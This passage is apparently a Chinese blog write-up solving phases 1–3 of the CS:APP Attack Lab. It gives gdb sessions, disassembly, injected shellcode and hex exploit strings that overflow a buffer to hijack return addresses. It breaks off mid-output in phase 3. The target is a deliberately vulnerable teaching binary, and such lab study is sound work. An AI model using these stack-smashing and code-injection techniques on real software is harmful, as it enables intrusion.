id="phase1"><a class="markdownIt-Anchor" href="#phase1"></a> phase1</h2><p>需要找到 <code>touch1</code> 函数的地址，并让 <code>getbuf</code> 的 <code>ret</code> 指令指向它。根据 gdb 调试：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">00000000004017c0 &lt;touch1&gt;:</span><br><span class="line">  4017c0:48 83 ec 08          sub    $0x8,%rsp</span><br><span class="line">  4017c4:c7 05 0e 2d 20 00 01 movl   $0x1,0x202d0e(%rip)        # 6044dc &lt;vlevel&gt;</span><br><span class="line">  4017cb:00 00 00 </span><br><span class="line">  4017ce:bf c5 30 40 00       mov    $0x4030c5,%edi</span><br><span class="line">  4017d3:e8 e8 f4 ff ff       call   400cc0 &lt;puts@plt&gt;</span><br><span class="line">  4017d8:bf 01 00 00 00       mov    $0x1,%edi</span><br><span class="line">  4017dd:e8 ab 04 00 00       call   401c8d &lt;validate&gt;</span><br><span class="line">  4017e2:bf 00 00 00 00       mov    $0x0,%edi</span><br><span class="line">  4017e7:e8 54 f6 ff ff       call   400e40 &lt;exit@plt&gt;</span><br></pre></td></tr></table></figure><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">touch1</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">    vlevel=<span class="number">1</span>; <span class="comment">/* Partofvalidationprotocol */</span></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Touch1!:Youcalledtouch1()\n&quot;</span>);</span><br><span class="line">    validate(<span class="number">1</span>);</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>写入以下到 <code>exploit.txt</code>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">00 00 00 00 00 00 00 00 00 00</span><br><span class="line">00 00 00 00 00 00 00 00 00 00</span><br><span class="line">00 00 00 00 00 00 00 00 00 00</span><br><span class="line">00 00 00 00 00 00 00 00 00 00</span><br><span class="line">c0 17 40 00 // ret 指向 touch1 的地址</span><br></pre></td></tr></table></figure><p>PASS!</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br></pre></td><td class="code"><pre><span class="line">❯ gdb --args ./ctarget -q</span><br><span class="line">GNU gdb (Debian 16.3-1) 16.3</span><br><span class="line">Copyright (C) 2024 Free Software Foundation, Inc.</span><br><span class="line">License GPLv3+: GNU GPL version 3 or later &lt;http://gnu.org/licenses/gpl.html&gt;</span><br><span class="line">This is free software: you are free to change and redistribute it.</span><br><span class="line">There is NO WARRANTY, to the extent permitted by law.</span><br><span class="line">Type &quot;show copying&quot; and &quot;show warranty&quot; for details.</span><br><span class="line">This GDB was configured as &quot;x86_64-linux-gnu&quot;.</span><br><span class="line">Type &quot;show configuration&quot; for configuration details.</span><br><span class="line">For bug reporting instructions, please see:</span><br><span class="line">&lt;https://www.gnu.org/software/gdb/bugs/&gt;.</span><br><span class="line">Find the GDB manual and other documentation resources online at:</span><br><span class="line">    &lt;http://www.gnu.org/software/gdb/documentation/&gt;.</span><br><span class="line">--Type &lt;RET&gt; for more, q to quit, c to continue without paging--</span><br><span class="line"></span><br><span class="line">For help, type &quot;help&quot;.</span><br><span class="line">Type &quot;apropos word&quot; to search for commands related to &quot;word&quot;...</span><br><span class="line">Reading symbols from ./ctarget...</span><br><span class="line">(gdb) b getbuf</span><br><span class="line">Breakpoint 1 at 0x4017a8: file buf.c, line 12.</span><br><span class="line">(gdb) b *0x4017bd</span><br><span class="line">Breakpoint 2 at 0x4017bd: file buf.c, line 16.</span><br><span class="line">(gdb) run -q &lt; exploit-raw.txt</span><br><span class="line">Starting program: /home/z0z0r4/CSAPP-LAB/attack_lab/ctarget -q &lt; exploit-raw.txt</span><br><span class="line">[Thread debugging using libthread_db enabled]</span><br><span class="line">Using host libthread_db library &quot;/lib/x86_64-linux-gnu/libthread_db.so.1&quot;.</span><br><span class="line">Cookie: 0x59b997fa</span><br><span class="line"></span><br><span class="line">Breakpoint 1, getbuf () at buf.c:12</span><br><span class="line">warning: 12     buf.c: No such file or directory</span><br><span class="line">(gdb) x/4gx $rsp</span><br><span class="line">0x5561dca0:     0x0000000000401976      0x0000000000000009</span><br><span class="line">0x5561dcb0:     0x0000000000401f24      0x0000000000000000</span><br><span class="line">(gdb) c</span><br><span class="line">Continuing.</span><br><span class="line"></span><br><span class="line">Breakpoint 2, 0x00000000004017bd in getbuf () at buf.c:16</span><br><span class="line">16      in buf.c</span><br><span class="line">(gdb) x/4gx $rsp</span><br><span class="line">0x5561dca0:     0x00000000004017c0      0x0000000000000009</span><br><span class="line">0x5561dcb0:     0x0000000000401f24      0x0000000000000000</span><br><span class="line">(gdb) c</span><br><span class="line">Continuing.</span><br><span class="line">Type string:Touch1!: You called touch1()</span><br><span class="line">Valid solution for level 1 with target ctarget</span><br><span class="line">PASS: Would have posted the following:</span><br><span class="line">        user id bovik</span><br><span class="line">        course  15213-f15</span><br><span class="line">        lab     attacklab</span><br><span class="line">        result  1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40 00 </span><br><span class="line">[Inferior 1 (process 31357) exited normally]</span><br></pre></td></tr></table></figure><p>可以看到 <code>0x5561dca0</code> 之前是 <code>0x0000000000401976</code>，现在变成了 <code>0x00000000004017c0</code>，成功让 <code>ret</code> 跳转到了 <code>touch1</code>。</p><h2 id="phase2"><a class="markdownIt-Anchor" href="#phase2"></a> phase2</h2><p>既然要调用 <code>touch2</code> 函数，需要知道 <code>touch2</code> 的地址，以及 <code>getbuf</code> 函数中缓冲区的地址（给 <code>ret</code> 指令用）。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">00000000004017ec &lt;touch2&gt;:</span><br><span class="line">  4017ec:48 83 ec 08          sub    $0x8,%rsp</span><br><span class="line">  4017f0:89 fa                mov    %edi,%edx</span><br><span class="line">  4017f2:c7 05 e0 2c 20 00 02 movl   $0x2,0x202ce0(%rip)        # 6044dc &lt;vlevel&gt;</span><br><span class="line">  4017f9:00 00 00 </span><br><span class="line">  4017fc:3b 3d e2 2c 20 00    cmp    0x202ce2(%rip),%edi        # 6044e4 &lt;cookie&gt;</span><br><span class="line">  401802:75 20                jne    401824 &lt;touch2+0x38&gt;</span><br><span class="line">  401804:be e8 30 40 00       mov    $0x4030e8,%esi</span><br><span class="line">  401809:bf 01 00 00 00       mov    $0x1,%edi</span><br><span class="line">  40180e:b8 00 00 00 00       mov    $0x0,%eax</span><br><span class="line">  401813:e8 d8 f5 ff ff       call   400df0 &lt;__printf_chk@plt&gt;</span><br><span class="line">  401818:bf 02 00 00 00       mov    $0x2,%edi</span><br><span class="line">  40181d:e8 6b 04 00 00       call   401c8d &lt;validate&gt;</span><br><span class="line">  401822:eb 1e                jmp    401842 &lt;touch2+0x56&gt;</span><br><span class="line">  401824:be 10 31 40 00       mov    $0x403110,%esi</span><br><span class="line">  401829:bf 01 00 00 00       mov    $0x1,%edi</span><br><span class="line">  40182e:b8 00 00 00 00       mov    $0x0,%eax</span><br><span class="line">  401833:e8 b8 f5 ff ff       call   400df0 &lt;__printf_chk@plt&gt;</span><br><span class="line">  401838:bf 02 00 00 00       mov    $0x2,%edi</span><br><span class="line">  40183d:e8 0d 05 00 00       call   401d4f &lt;fail&gt;</span><br><span class="line">  401842:bf 00 00 00 00       mov    $0x0,%edi</span><br><span class="line">  401847:e8 f4 f5 ff ff       call   400e40 &lt;exit@plt&gt;</span><br></pre></td></tr></table></figure><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">touch2</span><span class="params">(<span class="type">unsigned</span> val)</span></span><br><span class="line">&#123;</span><br><span class="line">    vlevel = <span class="number">2</span>;</span><br><span class="line">    <span class="keyword">if</span> (val == cookie) &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Touch2!: You called touch2(0x%.8x)\n&quot;</span>, val);</span><br><span class="line">        validate(<span class="number">2</span>);</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Misfire: You called touch2(0x%.8x)\n&quot;</span>, val);</span><br><span class="line">        fail(<span class="number">2</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>得到 <code>touch2</code> 的地址是 <code>0x4017ec</code>。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line">❯ gdb --args ./ctarget -q</span><br><span class="line">GNU gdb (Debian 16.3-1) 16.3</span><br><span class="line">Copyright (C) 2024 Free Software Foundation, Inc.</span><br><span class="line">License GPLv3+: GNU GPL version 3 or later &lt;http://gnu.org/licenses/gpl.html&gt;</span><br><span class="line">This is free software: you are free to change and redistribute it.</span><br><span class="line">There is NO WARRANTY, to the extent permitted by law.</span><br><span class="line">Type &quot;show copying&quot; and &quot;show warranty&quot; for details.</span><br><span class="line">This GDB was configured as &quot;x86_64-linux-gnu&quot;.</span><br><span class="line">Type &quot;show configuration&quot; for configuration details.</span><br><span class="line">For bug reporting instructions, please see:</span><br><span class="line">&lt;https://www.gnu.org/software/gdb/bugs/&gt;.</span><br><span class="line">Find the GDB manual and other documentation resources online at:</span><br><span class="line">    &lt;http://www.gnu.org/software/gdb/documentation/&gt;.</span><br><span class="line">--Type &lt;RET&gt; for more, q to quit, c to continue without paging--c</span><br><span class="line"></span><br><span class="line">For help, type &quot;help&quot;.</span><br><span class="line">Type &quot;apropos word&quot; to search for commands related to &quot;word&quot;...</span><br><span class="line">Reading symbols from ./ctarget...</span><br><span class="line">(gdb) b *0x4017ac</span><br><span class="line">Breakpoint 1 at 0x4017ac: file buf.c, line 14.</span><br><span class="line">(gdb) r</span><br><span class="line">Starting program: /home/z0z0r4/CSAPP-LAB/attack_lab/ctarget -q</span><br><span class="line">[Thread debugging using libthread_db enabled]</span><br><span class="line">Using host libthread_db library &quot;/lib/x86_64-linux-gnu/libthread_db.so.1&quot;.</span><br><span class="line">Cookie: 0x59b997fa</span><br><span class="line"></span><br><span class="line">Breakpoint 1, getbuf () at buf.c:14</span><br><span class="line">warning: 14     buf.c: No such file or directory</span><br><span class="line">(gdb) info reg rsp</span><br><span class="line">rsp            0x5561dc78          0x5561dc78</span><br></pre></td></tr></table></figure><p>得到缓冲区的地址是 <code>0x5561dc78</code>。</p><p>编写注入代码：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">movq $0x59b997fa, %rdi    # 将 cookie 存入第一个参数寄存器</span><br><span class="line">pushq $0x4017ec           # 将 touch2 的起始地址压入栈中</span><br><span class="line">ret                       # 执行 ret 指令，CPU 会跳转到栈顶的 touch2 地址</span><br></pre></td></tr></table></figure><p>编译 asm文件：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">❯ gcc -c solve2.s</span><br><span class="line">solve2.s: Assembler messages:</span><br><span class="line">solve2.s: Warning: end of file in comment; newline inserted</span><br></pre></td></tr></table></figure><p>获取机器码：<code>48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3</code></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">❯ objdump -d solve2.o</span><br><span class="line"></span><br><span class="line">solve2.o:     file format elf64-x86-64</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">Disassembly of section .text:</span><br><span class="line"></span><br><span class="line">0000000000000000 &lt;.text&gt;:</span><br><span class="line">   0:   48 c7 c7 fa 97 b9 59    mov    $0x59b997fa,%rdi</span><br><span class="line">   7:   68 ec 17 40 00          push   $0x4017ec</span><br><span class="line">   c:   c3                      ret</span><br></pre></td></tr></table></figure><p>写入以下到 <code>exploit.txt</code>（记得删掉注释）：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">// 调用 touch2</span><br><span class="line">48 c7 c7 fa 97 b9 59 68 </span><br><span class="line">ec 17 40 00 c3 </span><br><span class="line"></span><br><span class="line">// 填充 40 - 13 = 27 字节</span><br><span class="line">00 00 00 00 00 00 00 00 00 00</span><br><span class="line">00 00 00 00 00 00 00 00 00 00</span><br><span class="line">00 00 00 00 00 00 00</span><br><span class="line"></span><br><span class="line">78 dc 61 55 00 00 00 00 // ret 指向机器码</span><br></pre></td></tr></table></figure><p>PASS!</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">❯ cat exploit.txt | ./hex2raw |  ./ctarget -q</span><br><span class="line">Cookie: 0x59b997fa</span><br><span class="line">Type string:Touch2!: You called touch2(0x59b997fa)</span><br><span class="line">Valid solution for level 2 with target ctarget</span><br><span class="line">PASS: Would have posted the following:</span><br><span class="line">        user id bovik</span><br><span class="line">        course  15213-f15</span><br><span class="line">        lab     attacklab</span><br><span class="line">        result  1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 </span><br></pre></td></tr></table></figure><h2 id="phase3"><a class="markdownIt-Anchor" href="#phase3"></a> phase3</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br></pre></td><td class="code"><pre><span class="line">000000000040184c &lt;hexmatch&gt;:</span><br><span class="line">  40184c:41 54                push   %r12</span><br><span class="line">  40184e:55                   push   %rbp</span><br><span class="line">  40184f:53                   push   %rbx</span><br><span class="line">  401850:48 83 c4 80          add    $0xffffffffffffff80,%rsp</span><br><span class="line">  401854:41 89 fc             mov    %edi,%r12d</span><br><span class="line">  401857:48 89 f5             mov    %rsi,%rbp</span><br><span class="line">  40185a:64 48 8b 04 25 28 00 mov    %fs:0x28,%rax</span><br><span class="line">  401861:00 00 </span><br><span class="line">  401863:48 89 44 24 78       mov    %rax,0x78(%rsp)</span><br><span class="line">  401868:31 c0                xor    %eax,%eax</span><br><span class="line">  40186a:e8 41 f5 ff ff       call   400db0 &lt;random@plt&gt;</span><br><span class="line">  40186f:48 89 c1             mov    %rax,%rcx</span><br><span class="line">  401872:48 ba 0b d7 a3 70 3d movabs $0xa3d70a3d70a3d70b,%rdx</span><br><span class="line">  401879:0a d7 a3 </span><br><span class="line">  40187c:48 f7 ea             imul   %rdx</span><br><span class="line">  40187f:48 01 ca             add    %rcx,%rdx</span><br><span class="line">  401882:48 c1 fa 06          sar    $0x6,%rdx</span><br><span class="line">  401886:48 89 c8             mov    %rcx,%rax</span><br><span class="line">  401889:48 c1 f8 3f          sar    $0x3f,%rax</span><br><span class="line">  40188d:48 29 c2             sub    %rax,%rdx</span><br><span class="line">  401890:48 8d 04 92          lea    (%rdx,%rdx,4),%rax</span><br><span class="line">  401894:48 8d 04 80          lea    (%rax,%rax,4),%rax</span><br><span class="line">  401898:48 c1 e0 02          shl    $0x2,%rax</span><br><span class="line">  40189c:48 29 c1             sub    %rax,%rcx</span><br><span class="line">  40189f:48 8d 1c 0c          lea    (%rsp,%rcx,1),%rbx</span><br><span class="line">  4018a3:45 89 e0             mov    %r12d,%r8d</span><br><span class="line">  4018a6:b9 e2 30 40 00       mov    $0x4030e2,%ecx</span><br><span class="line">  4018ab:48 c7 c2 ff ff ff ff mov    $0xffffffffffffffff,%rdx</span><br><span class="line">  4018b2:be 01 00 00 00       mov    $0x1,%esi</span><br><span class="line">  4018b7:48 89 df             mov    %rbx,%rdi</span><br><span class="line">  4018ba:b8 00 00 00 00       mov    $0x0,%eax</span><br><span class="line">  4018bf:e8 ac f5 ff ff       call   400e70 &lt;__sprintf_chk@plt&gt;</span><br><span class="line">  4018c4:ba 09 00 00 00       mov    $0x9,%edx</span><br><span class="line">  4018c9:48 89 de             mov    %rbx,%rsi</span><br><span class="line">  4018cc:48 89 ef             mov    %rbp,%rdi</span><br><span class="line">  4018cf:e8 cc f3 ff ff       call   400ca0 &lt;strncmp@plt&gt;</span><br><span class="line">  4018d4:85 c0                test   %eax,%eax</span><br><span class="line">  4018d6:0f 94 c0             sete   %al</span><br><span class="line">  4018d9:0f b6 c0             movzbl %al,%eax</span><br><span class="line">  4018dc:48 8b 74 24 78       mov    0x78(%rsp),%rsi</span><br><span class="line">  4018e1:64 48 33 34 25 28 00 xor    %fs:0x28,%rsi</span><br><span class="line">  4018e8:00 00 </span><br><span class="line">  4018ea:74 05                je     4018f1 &lt;hexmatch+0xa5&gt;</span><br><span class="line">  4018ec:e8 ef f3 ff ff       call   400ce0 &lt;__stack_chk_fail@plt&gt;</span><br><span class="line">  4018f1:48 83 ec 80          sub    $0xffffffffffffff80,%rsp</span><br><span class="line">  4018f5:5b                   pop    %rbx</span><br><span class="line">  4018f6:5d                   pop    %rbp</span><br><span class="line">  4018f7:41 5c                pop    %r12</span><br><span class="line">  4018f9:c3                   ret</span><br><span class="line"></span><br><span class="line">00000000004018fa &lt;touch3&gt;:</span><br><span class="line">  4018fa:53                   push   %rbx</span><br><span class="line">  4018fb:48 89 fb             mov    %rdi,%rbx</span><br><span class="line">  4018fe:c7 05 d4 2b 20 00 03 movl   $0x3,0x202bd4(%rip)        # 6044dc &lt;vlevel&gt;</span><br><span class="line">  401905:00 00 00 </span><br><span class="line">  401908:48 89 fe             mov    %rdi,%rsi</span><br><span class="line">  40190b:8b 3d d3 2b 20 00    mov    0x202bd3(%rip),%edi        # 6044e4 &lt;cookie&gt;</span><br><span class="line">  401911:e8 36 ff ff ff       call   40184c &lt;hexmatch&gt;</span><br><span class="line">  401916:85 c0                test   %eax,%eax</span><br><span class="line">  401918:74 23                je     40193d &lt;touch3+0x43&gt;</span><br><span class="line">  40191a:48 89 da             mov    %rbx,%rdx</span><br><span class="line">  40191d:be 38 31 40 00       mov    $0x403138,%esi</span><br><span class="line">  401922:bf 01 00 00 00       mov    $0x1,%edi</span><br><span class="line">  401927:b8 00 00 00 00       mov    $0x0,%eax</span><br><span class="line">  40192c:e8 bf f4 ff ff       call   400df0 &lt;__printf_chk@plt&gt;</span><br><span class="line">  401931:bf 03 00 00 00       mov    $0x3,%edi</span><br><span class="line">  401936:e8 52 03 00 00       call   401c8d &lt;validate&gt;</span><br><span class="line">  40193b:eb 21                jmp    40195e &lt;touch3+0x64&gt;</span><br><span class="line">  40193d:48 89 da             mov    %rbx,%rdx</span><br><span class="line">  401940:be 60 31 40 00       mov    $0x403160,%esi</span><br><span class="line">  401945:bf 01 00 00 00       mov    $0x1,%edi</span><br><span class="line">  40194a:b8 00 00 00 00       mov    $0x0,%eax</span><br><span class="line">  40194f:e8 9c f4 ff ff       call   400df0 &lt;__printf_chk@plt&gt;</span><br><span class="line">  401954:bf 03 00 00 00       mov    $0x3,%edi</span><br><span class="line">  401959:e8 f1 03 00 00       call   401d4f &lt;fail&gt;</span><br><span class="line">  40195e:bf 00 00 00 00       mov    $0x0,%edi</span><br><span class="line">  401963:e8 d8 f4 ff ff       call   400e40 &lt;exit@plt&gt;</span><br></pre></td></tr></table></figure><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* Compare string to hex represention of unsigned value */</span></span><br><span class="line"><span class="type">int</span> <span class="title function_">hexmatch</span><span class="params">(<span class="type">unsigned</span> val, <span class="type">char</span> *sval)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="type">char</span> cbuf[<span class="number">110</span>];</span><br><span class="line">    <span class="comment">/* Make position of check string unpredictable */</span></span><br><span class="line">    <span class="type">char</span> *s = cbuf + random() % <span class="number">100</span>;</span><br><span class="line">    <span class="built_in">sprintf</span>(s, <span class="string">&quot;%.8x&quot;</span>, val);</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">strncmp</span>(sval, s, <span class="number">9</span>) == <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">touch3</span><span class="params">(<span class="type">char</span> *sval)</span></span><br><span class="line">&#123;</span><br><span class="line">    vlevel = <span class="number">3</span>; <span class="comment">/* Part of validation protocol */</span></span><br><span class="line">    <span class="keyword">if</span> (hexmatch(cookie, sval))</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Touch3!: You called touch3(\&quot;%s\&quot;)\n&quot;</span>, sval);</span><br><span class="line">        validate(<span class="number">3</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">    &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Misfire: You called touch3(\&quot;%s\&quot;)\n&quot;</span>, sval);</span><br><span class="line">        fail(<span class="number">3</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>需要和 level2 一样利用缓冲区溢出注入代码调用 <code>touch3</code>，<code>touch3</code> 还会调用 <code>hexmatch</code>，将传入 <code>touch3</code> 的第一个参数作为 <code>hexmatch</code> 的第二个参数传入（<code>hexmatch</code> 的第一个参数是程序里面存着的 cookie 值 <code>0x59b997fa</code>）。<code>hexmatch</code> 调用 <code>strncmp</code> 比较前 9 个字节是否相等（因为还有 <code>\0</code> 一字节作为结束符），只有完全匹配才会返回 1，否则返回 0。</p><p>其中可以发现 <code>hexmatch</code> 申请了 128 字节的栈空间 <code>add $0xffffffffffffff80, %rsp</code>，然后生成一个随机偏移量获得一个栈空间内的地址，调用 <code>sprintf</code> 将第一个参数以十六进制字符串的形式写入这个地址，最后和 <code>touch3</code> 传入的参数进行比较。</p><p>由于栈帧是由高地址往低地址生长的，地址由高到低内存分布是（注入前）：</p><ul><li><code>test</code></li><li><code>getbuf</code> 0x28 bytes</li></ul><p>而注入时，<code>getbuf</code> ret 之前将栈帧释放了，所以 <code>hexmatch</code> 申请的栈空间是在 <code>test</code> 之后，但是覆盖在 <code>getbuf</code> 的栈空间上的：</p><ul><li><code>test</code></li><li><code>hexmatch</code> 0x80 bytes</li></ul><p><code>sprintf</code> 随机写入 9 字节的数据有可能抽中原来的 <code>getbuf</code> 栈空间覆盖掉，各种 <code>push</code> 也会修改 <code>getbuf</code> 栈空间的内容，所以只能将 cookie 存储在 <code>test</code> 的栈帧里面。</p><p>可以直接接在 <code>touch3</code> 的跳转地址后面就是 <code>test</code> 的栈帧了：</p><p>如何计算 cookie 的地址：<code>getbuf</code> 的栈顶地址是 <code>0x5561dc78</code>，<code>getbuf</code> 申请了 0x28 字节的栈空间，还有 0x8 的返回地址，所以 <code>getbuf</code> 栈帧的底部是 <code>0x5561dc78 + 0x28 + 0x8 = 0x5561dca8</code>。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">movq $0x5561dca8, %rdi    # 这里的地址指向 cookie 存储的位置，test 的栈帧</span><br><span class="line">pushq $0x4018fa           # touch3 的入口地址</span><br><span class="line">ret</span><br></pre></td></tr></table></figure><p><code>objdump</code> 获取机器码：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">0000000000000000 &lt;.text&gt;:</span><br><span class="line">   0:   48 c7 c7 a8 